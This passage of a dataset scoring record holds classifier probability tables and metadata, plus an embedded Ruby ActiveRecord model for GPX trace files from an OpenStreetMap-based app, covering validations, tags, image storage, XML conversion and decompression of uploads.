0.315636710307358, "1": 0.3447410047138482, "2": 0.12987678168888694}, "noise_severity": {"0": 0.8737615652570879, "1": 0.0964347086056508, "2": 0.01980280437909065, "3": 0.007954042838410898, "4": 0.002046878919759544}, "missing_content_severity": {"0": 0.587961451608851, "1": 0.3747875241926391, "2": 0.027849797781122475, "3": 0.006551431537886442, "4": 0.0028497948795007575}, "factual_density": {"0": 0.0035600275296182385, "1": 0.006683106354979161, "2": 0.06510181795137966, "3": 0.32042037635776327, "4": 0.6042346718062596}, "pretraining_utility": {"-2": 0.011920155637103873, "-1": 0.08115528791050781, "0": 0.37766404311875246, "1": 0.4529047734411603, "2": 0.07635573989247564}, "math_density": {"0": 0.6792101150051365, "1": 0.30549447541854385, "2": 0.007784178421683497, "3": 0.002461907273320389, "4": 0.0050493238813156885}, "code_density": {"0": 0.00037164063812470364, "1": 0.0006957488363251455, "2": 0.015127637396720782, "3": 0.06686827559890805, "4": 0.9169366975299214}, "reasoning_density": {"0": 0.6602465692762128, "1": 0.12484734280024844, "2": 0.16321813663741772, "3": 0.039460160883775075, "4": 0.012227790402345942}, "education_level": {"none": 0.0010404449186439547, "0": 0.0011361446209533508, "1": 0.005631059459942967, "2": 0.6623257305261316, "3": 0.30575304653852836, "4": 0.024113573935799767}, "creative_writing_quality": {"not_applicable": 0.9996514349221373, "-2": 6.446839577392623e-05, "-1": 0.00010738586312262857, "0": 0.00012711231504094266, "1": 3.625187286219467e-05, "2": 1.3346631062940794e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.599389950653006e-05, "Art & Design": 4.42716270736675e-05, "Law & Crime": 4.3025148413679826e-05, "Education & Careers": 0.01425076540104785, "Entertainment & Media": 4.863833713431653e-05, "Fashion & Beauty": 3.410095011228169e-05, "Business, Economics & Finance": 0.00028392483431325934, "Food & Dining": 3.784639092051402e-05, "Games & Gaming": 9.049167382552895e-05, "Electronics & Hardware": 5.833431308204585e-05, "Health, Healthcare & Wellness": 4.079744087439255e-05, "History & Geography": 2.7616607432595744e-05, "Home, Pets & Hobbies": 3.147889170140691e-05, "Industry & Production": 3.10515633389054e-05, "Language, Literature & Philosophy": 3.752958145884855e-05, "Politics & Government": 2.453605271508939e-05, "Religion & Spirituality": 2.809486405780084e-05, "Science, Mathematics & Engineering": 0.00010975849804158942, "Relationships & Community": 0.00010242414699165852, "Software Usage & Applications": 0.0007068712021495526, "Programming & Software Engineering": 0.9833464545255955, "Sports & Fitness": 6.105421774198891e-05, "Vehicles & Transportation": 1.9928664606890365e-05, "Travel & Tourism": 4.514263253055966e-05, "Other / Uncovered Subject": 0.00039013558066619054, "Unknown / Insufficient Content": 6.973295466737823e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005287685240222291, "Art & Design": 0.0004282686101177067, "Law & Crime": 0.0006419870766360261, "Education & Careers": 0.08784569218524356, "Entertainment & Media": 0.0007412432579744856, "Fashion & Beauty": 0.00027650005364477894, "Business, Economics & Finance": 0.0014369293319606575, "Food & Dining": 0.0002862223150883161, "Games & Gaming": 0.0004931725463167944, "Electronics & Hardware": 0.00035066935341880113, "Health, Healthcare & Wellness": 0.0002963815264659639, "History & Geography": 0.00022209597005206396, "Home, Pets & Hobbies": 0.000245872295243761, "Industry & Production": 0.00018980884590976657, "Language, Literature & Philosophy": 0.00020016173342963218, "Politics & Government": 0.00024303583964280885, "Religion & Spirituality": 0.00024352561381336613, "Science, Mathematics & Engineering": 0.00032514191189368685, "Relationships & Community": 0.000425336981841143, "Software Usage & Applications": 0.004446212839484358, "Programming & Software Engineering": 0.020672620750243672, "Sports & Fitness": 0.00027786365505463737, "Vehicles & Transportation": 0.00011640498318722444, "Travel & Tourism": 0.00034489739683212243, "Other / Uncovered Subject": 0.0011137348265820284, "NONE": 0.8776074515759005}}, "probabilities": {"primary": {"Academic Writing": 1.955317383074449e-05, "Content Listing": 2.5304785036302715e-05, "Creative Writing": 1.1894905751862142e-05, "Customer Support Page": 6.361773728560445e-06, "Q&A Forum": 7.82389157018859e-06, "Discussion Thread": 5.345754379091876e-06, "Comment Section": 7.925657762026437e-06, "Missing Content": 6.466472977506381e-05, "Knowledge Article": 3.9465098870192194e-05, "Legal Notices": 2.3159504827186696e-05, "News Article": 3.4011616705014907e-06, "Organizational Announcement": 7.737092661186955e-06, "Nonfiction Writing": 7.381387931399531e-06, "Organizational About Page": 8.579725359281713e-06, "Personal About Page": 9.26769415069883e-06, "Personal Blog": 6.264887927424567e-06, "Product Page": 6.621756017554329e-06, "Spam / Ads": 7.671872371330359e-06, "Structured Data": 0.0008068246942950144, "Technical Writing": 0.9980696751743747, "Transcript / Interview": 1.05698768267238e-05, "Tutorial / How-To Guide": 9.335203494206141e-05, "User Reviews": 5.109084900123953e-06, "Other / Unknown": 0.0007460442810408562}, "secondary": {"Academic Writing": 0.00020737841617724992, "Content Listing": 0.0003557144947238131, "Creative Writing": 0.00021481624987437558, "Customer Support Page": 0.00011720384355217719, "Q&A Forum": 8.539651472589862e-05, "Discussion Thread": 8.422660680490337e-05, "Comment Section": 0.00017497496335173104, "Missing Content": 0.028907432185973497, "Knowledge Article": 0.00037006449523051407, "Legal Notices": 0.00025993610693224485, "News Article": 0.00013917278775121554, "Organizational Announcement": 0.00011482981983033121, "Nonfiction Writing": 0.00011188138649534053, "Organizational About Page": 0.0001473475560712488, "Personal About Page": 0.00011369713892743618, "Personal Blog": 0.0001004939467759534, "Product Page": 8.111801780148009e-05, "Spam / Ads": 0.00013174830429911333, "Structured Data": 0.0077950797105463075, "Technical Writing": 0.006357718831456273, "Transcript / Interview": 0.00018146101388253935, "Tutorial / How-To Guide": 0.00042790589658750196, "User Reviews": 5.892615039750782e-05, "NONE": 0.9534614755618314}, "tertiary": {"Academic Writing": 8.79870950276875e-05, "Content Listing": 0.0002591535826612222, "Creative Writing": 0.00011610442913570921, "Customer Support Page": 6.896942019173043e-05, "Q&A Forum": 3.964643057203213e-05, "Discussion Thread": 4.4655245980974676e-05, "Comment Section": 9.780139196629085e-05, "Missing Content": 0.020393546289530246, "Knowledge Article": 0.00025856011914784585, "Legal Notices": 0.00022469791801194412, "News Article": 7.823503050673929e-05, "Organizational Announcement": 6.292560339548786e-05, "Nonfiction Writing": 7.553679652057112e-05, "Organizational About Page": 0.00011045045994920329, "Personal About Page": 6.304390520396377e-05, "Personal Blog": 5.5995886352295204e-05, "Product Page": 5.514147410176084e-05, "Spam / Ads": 9.083838868432081e-05, "Structured Data": 0.0029317189920245405, "Technical Writing": 0.004701043771010733, "Transcript / Interview": 9.586104817910479e-05, "Tutorial / How-To Guide": 0.00035569042840381137, "User Reviews": 3.748951321422773e-05, "NONE": 0.9696949067802276}, "structured_records": {"false": 0.9843464350612128, "true": 0.015653564938787227}, "procedural_steps": {"false": 0.9944620445579004, "true": 0.005537955442099589}, "worked_solution": {"false": 0.9989338730084162, "true": 0.0010661269915838104}, "contextual_dialogue": {"false": 0.9999949718829368, "true": 5.028117063177102e-06}, "content_quality": {"-2": 0.02751704049505548, "-1": 0.18222846279485133, "0": 0.315636710307358, "1": 0.3447410047138482, "2": 0.12987678168888694}, "noise_severity": {"0": 0.8737615652570881, "1": 0.09643470860565083, "2": 0.019802804379090655, "3": 0.0079540428384109, "4": 0.0020468789197595444}, "missing_content_severity": {"0": 0.5879614516088512, "1": 0.37478752419263917, "2": 0.02784979778112248, "3": 0.006551431537886444, "4": 0.002849794879500758}, "factual_density": {"0": 0.003560027529618239, "1": 0.006683106354979162, "2": 0.06510181795137968, "3": 0.3204203763577633, "4": 0.6042346718062597}, "pretraining_utility": {"-2": 0.011920155637103873, "-1": 0.08115528791050781, "0": 0.37766404311875246, "1": 0.4529047734411603, "2": 0.07635573989247564}, "math_density": {"0": 0.6792101150051366, "1": 0.3054944754185439, "2": 0.007784178421683498, "3": 0.0024619072733203895, "4": 0.005049323881315689}, "code_density": {"0": 0.00037164063812470364, "1": 0.0006957488363251455, "2": 0.015127637396720782, "3": 0.06686827559890805, "4": 0.9169366975299214}, "reasoning_density": {"0": 0.6602465692762128, "1": 0.12484734280024844, "2": 0.16321813663741772, "3": 0.039460160883775075, "4": 0.012227790402345942}, "education_level": {"none": 0.0010404449186439547, "0": 0.0011361446209533508, "1": 0.005631059459942967, "2": 0.6623257305261316, "3": 0.30575304653852836, "4": 0.024113573935799767}, "creative_writing_quality": {"not_applicable": 0.9996514349221374, "-2": 6.446839577392624e-05, "-1": 0.00010738586312262859, "0": 0.00012711231504094269, "1": 3.6251872862194675e-05, "2": 1.3346631062940796e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.599389950653006e-05, "Art & Design": 4.42716270736675e-05, "Law & Crime": 4.3025148413679826e-05, "Education & Careers": 0.01425076540104785, "Entertainment & Media": 4.863833713431653e-05, "Fashion & Beauty": 3.410095011228169e-05, "Business, Economics & Finance": 0.00028392483431325934, "Food & Dining": 3.784639092051402e-05, "Games & Gaming": 9.049167382552895e-05, "Electronics & Hardware": 5.833431308204585e-05, "Health, Healthcare & Wellness": 4.079744087439255e-05, "History & Geography": 2.7616607432595744e-05, "Home, Pets & Hobbies": 3.147889170140691e-05, "Industry & Production": 3.10515633389054e-05, "Language, Literature & Philosophy": 3.752958145884855e-05, "Politics & Government": 2.453605271508939e-05, "Religion & Spirituality": 2.809486405780084e-05, "Science, Mathematics & Engineering": 0.00010975849804158942, "Relationships & Community": 0.00010242414699165852, "Software Usage & Applications": 0.0007068712021495526, "Programming & Software Engineering": 0.9833464545255955, "Sports & Fitness": 6.105421774198891e-05, "Vehicles & Transportation": 1.9928664606890365e-05, "Travel & Tourism": 4.514263253055966e-05, "Other / Uncovered Subject": 0.00039013558066619054, "Unknown / Insufficient Content": 6.973295466737823e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005287685240222291, "Art & Design": 0.0004282686101177067, "Law & Crime": 0.0006419870766360261, "Education & Careers": 0.08784569218524356, "Entertainment & Media": 0.0007412432579744856, "Fashion & Beauty": 0.00027650005364477894, "Business, Economics & Finance": 0.0014369293319606575, "Food & Dining": 0.0002862223150883161, "Games & Gaming": 0.0004931725463167944, "Electronics & Hardware": 0.00035066935341880113, "Health, Healthcare & Wellness": 0.0002963815264659639, "History & Geography": 0.00022209597005206396, "Home, Pets & Hobbies": 0.000245872295243761, "Industry & Production": 0.00018980884590976657, "Language, Literature & Philosophy": 0.00020016173342963218, "Politics & Government": 0.00024303583964280885, "Religion & Spirituality": 0.00024352561381336613, "Science, Mathematics & Engineering": 0.00032514191189368685, "Relationships & Community": 0.000425336981841143, "Software Usage & Applications": 0.004446212839484358, "Programming & Software Engineering": 0.020672620750243672, "Sports & Fitness": 0.00027786365505463737, "Vehicles & Transportation": 0.00011640498318722444, "Travel & Tourism": 0.00034489739683212243, "Other / Uncovered Subject": 0.0011137348265820284, "NONE": 0.8776074515759005}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9544, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9544, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:09.156994+00:00", "scoring_key_slot": "primary", "dataset_uid": "3584c623-503b-4822-9e5a-4343f1b00b46", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "34c56a1722eb1ae9a25d956bded65640dc30ca018102e527a1daff345b0178c7", "source_metadata": {"uuid": "3584c623-503b-4822-9e5a-4343f1b00b46", "repo_name": "tomhieu/coursedy_api", "relative_path": "app/controllers/api/v1/users_controller.rb", "category": "WEB", "algo_rel_score": 0.9574379324913025, "quality_score": 6.118846893310547, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 396, "repo_created_at": "2019-01-09T09:08:16.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "e5a9103fe7c0e348a58b87aaa46a8a6c914346db", "size_bytes": 4541, "file_timestamp": 1547711216, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "aea7aa2ca0b521f19bbcf70245ab0caa1dc23ee7"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 396, "repo_created_at": "2019-01-09T09:08:16.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "e5a9103fe7c0e348a58b87aaa46a8a6c914346db", "size_bytes": 4541, "file_timestamp": 1547711216, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "aea7aa2ca0b521f19bbcf70245ab0caa1dc23ee7", "url": "https://github.com/tomhieu/coursedy_api/blob/aea7aa2ca0b521f19bbcf70245ab0caa1dc23ee7/app/controllers/api/v1/users_controller.rb"}, "gpt4o_tokens": 1005, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.3672320243066598, "noise_severity": 0.16808996155810302, "missing_content_severity": 0.4615405938865465, "factual_density": 3.5150865585560673, "pretraining_utility": 0.500620654041396, "math_density": 0.34864584960713485, "code_density": 3.899302640546176, "reasoning_density": 0.6185752603357929, "education_level": 2.346437294631106, "creative_writing_quality": -0.4974035859975957}, "score_applicability": {"education_level": 0.998959555081356, "creative_writing_quality": 0.00034856507786263296}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/lelelelemon/apps/blob/c6e3b7e3a11af5f36a928d3bdfe0909bc0f3d0a4/openstreetmap/app/models/trace.rb", "id": "ruby-0-770974204e98c3d80fb10afa768c3cb8", "text": "# == Schema Information\n#\n# Table name: gpx_files\n#\n# id :integer not null, primary key\n# user_id :integer not null\n# visible :boolean default(TRUE), not null\n# name :string default(\"\"), not null\n# size :integer\n# latitude :float\n# longitude :float\n# timestamp :datetime not null\n# description :string default(\"\"), not null\n# inserted :boolean not null\n# visibility :enum default(\"public\"), not null\n#\n# Indexes\n#\n# gpx_files_timestamp_idx (timestamp)\n# gpx_files_user_id_idx (user_id)\n# gpx_files_visible_visibility_idx (visible,visibility)\n#\n# Foreign Keys\n#\n# gpx_files_user_id_fkey (user_id => users.id)\n#\n\nclass Trace < ActiveRecord::Base\n self.table_name = \"gpx_files\"\n\n belongs_to :user, :counter_cache => true\n has_many :tags, :class_name => \"Tracetag\", :foreign_key => \"gpx_id\", :dependent => :delete_all\n has_many :points, :class_name => \"Tracepoint\", :foreign_key => \"gpx_id\", :dependent => :delete_all\n\n scope :visible, -> { where(:visible => true) }\n scope :visible_to, ->(u) { visible.where(\"visibility IN ('public', 'identifiable') OR user_id = ?\", u) }\n scope :visible_to_all, -> { where(:visibility => %w[public identifiable]) }\n scope :tagged, ->(t) { joins(:tags).where(:gpx_file_tags => { :tag => t }) }\n\n validates :user, :presence => true, :associated => true\n validates :name, :presence => true, :length => 1..255\n validates :description, :presence => { :on => :create }, :length => 1..255\n validates :timestamp, :presence => true\n validates :visibility, :inclusion => %w[private public trackable identifiable]\n\n def destroy\n super\n FileUtils.rm_f(trace_name)\n FileUtils.rm_f(icon_picture_name)\n FileUtils.rm_f(large_picture_name)\n end\n\n def tagstring\n tags.collect(&:tag).join(\", \")\n end\n\n def tagstring=(s)\n self.tags = if s.include? \",\"\n s.split(/\\s*,\\s*/).reject { |tag| tag =~ /^\\s*$/ }.collect do |tag|\n tt = Tracetag.new\n tt.tag = tag\n tt\n end\n else\n # do as before for backwards compatibility:\n s.split.collect do |tag|\n tt = Tracetag.new\n tt.tag = tag\n tt\n end\n end\n end\n\n def public?\n visibility == \"public\" || visibility == \"identifiable\"\n end\n\n def trackable?\n visibility == \"trackable\" || visibility == \"identifiable\"\n end\n\n def identifiable?\n visibility == \"identifiable\"\n end\n\n def large_picture=(data)\n f = File.new(large_picture_name, \"wb\")\n f.syswrite(data)\n f.close\n end\n\n def icon_picture=(data)\n f = File.new(icon_picture_name, \"wb\")\n f.syswrite(data)\n f.close\n end\n\n def large_picture\n f = File.new(large_picture_name, \"rb\")\n data = f.sysread(File.size(f.path))\n f.close\n data\n end\n\n def icon_picture\n f = File.new(icon_picture_name, \"rb\")\n data = f.sysread(File.size(f.path))\n f.close\n data\n end\n\n def large_picture_name\n \"#{GPX_IMAGE_DIR}/#{id}.gif\"\n end\n\n def icon_picture_name\n \"#{GPX_IMAGE_DIR}/#{id}_icon.gif\"\n end\n\n def trace_name\n \"#{GPX_TRACE_DIR}/#{id}.gpx\"\n end\n\n def mime_type\n filetype = `/usr/bin/file -Lbz #{trace_name}`.chomp\n gzipped = filetype =~ /gzip compressed/\n bzipped = filetype =~ /bzip2 compressed/\n zipped = filetype =~ /Zip archive/\n tarred = filetype =~ /tar archive/\n\n mimetype = if gzipped\n \"application/x-gzip\"\n elsif bzipped\n \"application/x-bzip2\"\n elsif zipped\n \"application/x-zip\"\n elsif tarred\n \"application/x-tar\"\n else\n \"application/gpx+xml\"\n end\n\n mimetype\n end\n\n def extension_name\n filetype = `/usr/bin/file -Lbz #{trace_name}`.chomp\n gzipped = filetype =~ /gzip compressed/\n bzipped = filetype =~ /bzip2 compressed/\n zipped = filetype =~ /Zip archive/\n tarred = filetype =~ /tar archive/\n\n extension = if tarred && gzipped\n \".tar.gz\"\n elsif tarred && bzipped\n \".tar.bz2\"\n elsif tarred\n \".tar\"\n elsif gzipped\n \".gpx.gz\"\n elsif bzipped\n \".gpx.bz2\"\n elsif zipped\n \".zip\"\n else\n \".gpx\"\n end\n\n extension\n end\n\n def to_xml\n doc = OSM::API.new.get_xml_doc\n doc.root << to_xml_node\n doc\n end\n\n def to_xml_node\n el1 = XML::Node.new \"gpx_file\"\n el1[\"id\"] = id.to_s\n el1[\"name\"] = name.to_s\n el1[\"lat\"] = latitude.to_s if inserted\n el1[\"lon\"] = longitude.to_s if inserted\n el1[\"user\"] = user.display_name\n el1[\"visibility\"] = visibility\n el1[\"pending\"] = inserted ? \"false\" : \"true\"\n el1[\"timestamp\"] = timestamp.xmlschema\n\n el2 = XML::Node.new \"description\"\n el2 << description\n el1 << el2\n\n tags.each do |tag|\n el2 = XML::Node.new(\"tag\")\n el2 << tag.tag\n el1 << el2\n end\n\n el1\n end\n\n def update_from_xml(xml, create = false)\n p = XML::Parser.string(xml, :options => XML::Parser::Options::NOERROR)\n doc = p.parse\n\n doc.find(\"//osm/gpx_file\").each do |pt|\n return update_from_xml_node(pt, create)\n end\n\n raise OSM::APIBadXMLError.new(\"trace\", xml, \"XML doesn't contain an osm/gpx_file element.\")\n rescue LibXML::XML::Error, ArgumentError => ex\n raise OSM::APIBadXMLError.new(\"trace\", xml, ex.message)\n end\n\n def update_from_xml_node(pt, create = false)\n raise OSM::APIBadXMLError.new(\"trace\", pt, \"visibility missing\") if pt[\"visibility\"].nil?\n self.visibility = pt[\"visibility\"]\n\n unless create\n raise OSM::APIBadXMLError.new(\"trace\", pt, \"ID is required when updating.\") if pt[\"id\"].nil?\n id = pt[\"id\"].to_i\n # .to_i will return 0 if there is no number that can be parsed.\n # We want to make sure that there is no id with zero anyway\n raise OSM::APIBadUserInput, \"ID of trace cannot be zero when updating.\" if id.zero?\n raise OSM::APIBadUserInput, \"The id in the url (#{self.id}) is not the same as provided in the xml (#{id})\" unless self.id == id\n end\n\n # We don't care about the time, as it is explicitly set on create/update/delete\n # We don't care about the visibility as it is implicit based on the action\n # and set manually before the actual delete\n self.visible = true\n\n description = pt.find(\"description\").first\n raise OSM::APIBadXMLError.new(\"trace\", pt, \"description missing\") if description.nil?\n self.description = description.content\n\n self.tags = pt.find(\"tag\").collect do |tag|\n Tracetag.new(:tag => tag.content)\n end\n end\n\n def xml_file\n # TODO: *nix specific, could do to work on windows... would be functionally inferior though - check for '.gz'\n filetype = `/usr/bin/file -Lbz #{trace_name}`.chomp\n gzipped = filetype =~ /gzip compressed/\n bzipped = filetype =~ /bzip2 compressed/\n zipped = filetype =~ /Zip archive/\n tarred = filetype =~ /tar archive/\n\n if gzipped || bzipped || zipped || tarred\n tmpfile = Tempfile.new(\"trace.#{id}\")\n\n if tarred && gzipped\n system(\"tar -zxOf #{trace_name} > #{tmpfile.path}\")\n elsif tarred && bzipped\n system(\"tar -jxOf #{trace_name} > #{tmpfile.path}\")\n elsif tarred\n system(\"tar -xOf #{trace_name} > #{tmpfile.path}\")\n elsif gzipped\n system(\"gunzip -c #{trace_name} > #{tmpfile.path}\")\n elsif bzipped\n system(\"bunzip2 -c #{trace_name} > #{tmpfile.path}\")\n elsif zipped\n system(\"unzip -p #{trace_name} -x '__MACOSX/*' > #{tmpfile.path} 2> /dev/null\")\n end\n\n tmpfile.unlink\n\n file = tmpfile.file\n else\n file = File.open(trace_name)\n end\n\n file\n end\n\n def import\n logger.info(\"GPX Import importing #{name} (#{id}) from #{user.email}\")\n\n gpx = GPX::File.new(xml_file)\n\n f_lat = 0\n f_lon = 0\n first = true\n\n # If there are any existing points for this trace then delete them\n Tracepoint.where(:gpx_id => id).delete_all\n\n gpx.points do |point|\n if first\n f_lat = point.latitude\n f_lon = point.longitude\n first = false\n end\n\n tp = Tracepoint.new\n tp.lat = point.latitude\n tp.lon = point.longitude\n tp.altitude = point.altitude\n tp.timestamp = point.timestamp\n tp.gpx_id = id\n tp.trackid = point.segment\n tp.save!\n end\n\n if gpx.actual_points > 0\n max_lat = Tracepoint.where(:gpx_id => id).maximum(:latitude)\n min_lat = Tracepoint.where(:gpx_id => id).minimum(:latitude)\n max_lon = Tracepoint.where(:gpx_id => id).maximum(:longitude)\n min_lon = Tracepoint.where(:gpx_id => id).minimum(:longitude)\n\n max_lat = max_lat.to_f / 10000000\n min_lat = min_lat.to_f / 10000000\n max_lon = max_lon.to_f / 10000000\n min_lon = min_lon.to_f / 10000000\n\n self.latitude = f_lat\n self.longitude = f_lon\n self.large_picture = gpx.picture(min_lat, min_lon, max_lat, max_lon, gpx.actual_points)\n self.icon_picture = gpx.icon(min_lat, min_lon, max_lat, max_lon)\n self.size = gpx.actual_points\n self.inserted = true\n save!\n end\n\n logger.info \"done trace #{id}\"\n\n gpx\n end\nend\n", "text_preview": "# == Schema Information # # Table name: gpx_files # # id :integer not null, primary key # user_id :integer not null # visible :boolean default(TRUE), not null # name :string default(\"\"), not null # size :integer # latitude :float # longitud", "input_sha256": "b7ce3e3ef5f77ff0312bcbe860155c5afc35e3426f9a5a0373c9271535fb7924", "text_sha256": "770974204e98c3d80fb10afa768c3cb857c418a9f9b756b23660d5eab200eb1a", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16117, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1044363048133872, "noise_severity": 0.01699309008031417, "missing_content_severity": 0.018977081890754543, "factual_density": 3.547233599749946, "pretraining_utility": 0.5702607725336101, "math_density": 0.40291507479091765, "code_density": 3.6678438636172133, "reasoning_density": 0.4866118933417061, "education_level": 2.42666874483831, "creative_writing_quality": -0.2678433606660553}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.08905649839981289, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9938750237844743, "secondary": 0.7924874115754869, "tertiary": 0.8854159316448569, "structured_records": 0.4532008742041634, "procedural_steps": 0.023089027214505262, "worked_solution": 0.0015361155297117406, "contextual_dialogue": 7.63726358947619e-06, "content_quality": 0.5521554398698044, "noise_severity": 0.9858390915997381, "missing_content_severity": 0.9841857650910378, "factual_density": 0.6226946664582884, "pretraining_utility": 0.48386202462355987, "math_density": 0.6642374376742353, "code_density": 0.7232032196810113, "reasoning_density": 0.5944900888819116, "education_level": 0.5179428507853153, "creative_writing_quality": 0.9996328874646029, "primary_topic": 0.9862604106883573, "secondary_topic": 0.8687762793459265}, "probability_margin": {"primary": 0.9899257218976467, "secondary": 0.6545800742675382, "tertiary": 0.8095465156204511, "education_level": 0.2504145821685884, "creative_writing_quality": 0.9995632429265061, "primary_topic": 0.9816140848686464, "secondary_topic": 0.8317154245821994}, "raw_probabilities": {"primary": {"Academic Writing": 2.9273509990475048e-05, "Content Listing": 1.946257202060699e-05, "Creative Writing": 1.3001369128836121e-05, "Customer Support Page": 8.914881706096593e-06, "Q&A Forum": 8.996801716507612e-06, "Discussion Thread": 7.197763800116533e-06, "Comment Section": 1.2516071703180887e-05, "Missing Content": 2.0076694311063384e-05, "Knowledge Article": 8.956771158072133e-05, "Legal Notices": 2.5914087616670964e-05, "News Article": 4.308953394603943e-06, "Organizational Announcement": 1.046399399635078e-05, "Nonfiction Writing": 9.002037050588446e-06, "Organizational About Page": 1.213162897238694e-05, "Personal About Page": 1.125790815237106e-05, "Personal Blog": 8.340189155513162e-06, "Product Page": 7.706733933660791e-06, "Spam / Ads": 9.169979092533021e-06, "Structured Data": 0.004204509229141187, "Technical Writing": 0.9941302311267879, "Transcript / Interview": 1.2184338654704933e-05, "Tutorial / How-To Guide": 7.583884838915804e-05, "User Reviews": 5.651920272226327e-06, "Other / Unknown": 0.0012642816494326467}, "secondary": {"Academic Writing": 0.0004735019763501233, "Content Listing": 0.0003841078142191176, "Creative Writing": 0.0002846013715343883, "Customer Support Page": 0.00022857144690306192, "Q&A Forum": 0.0001739752368380643, "Discussion Thread": 0.00018082403645429098, "Comment Section": 0.00029886587000146214, "Missing Content": 0.0006286542463010803, "Knowledge Article": 0.001062550569634804, "Legal Notices": 0.0003136980949333519, "News Article": 0.00022203239279445318, "Organizational Announcement": 0.0002445164711834543, "Nonfiction Writing": 0.00025610447555411036, "Organizational About Page": 0.000283939206972586, "Personal About Page": 0.00022230369992718457, "Personal Blog": 0.0002024377173543859, "Product Page": 0.0001664615791496793, "Spam / Ads": 0.00020003517415313442, "Structured Data": 0.1465536951589701, "Technical Writing": 0.045640542990677144, "Transcript / Interview": 0.0003157825467700867, "Tutorial / How-To Guide": 0.0004151027760439426, "User 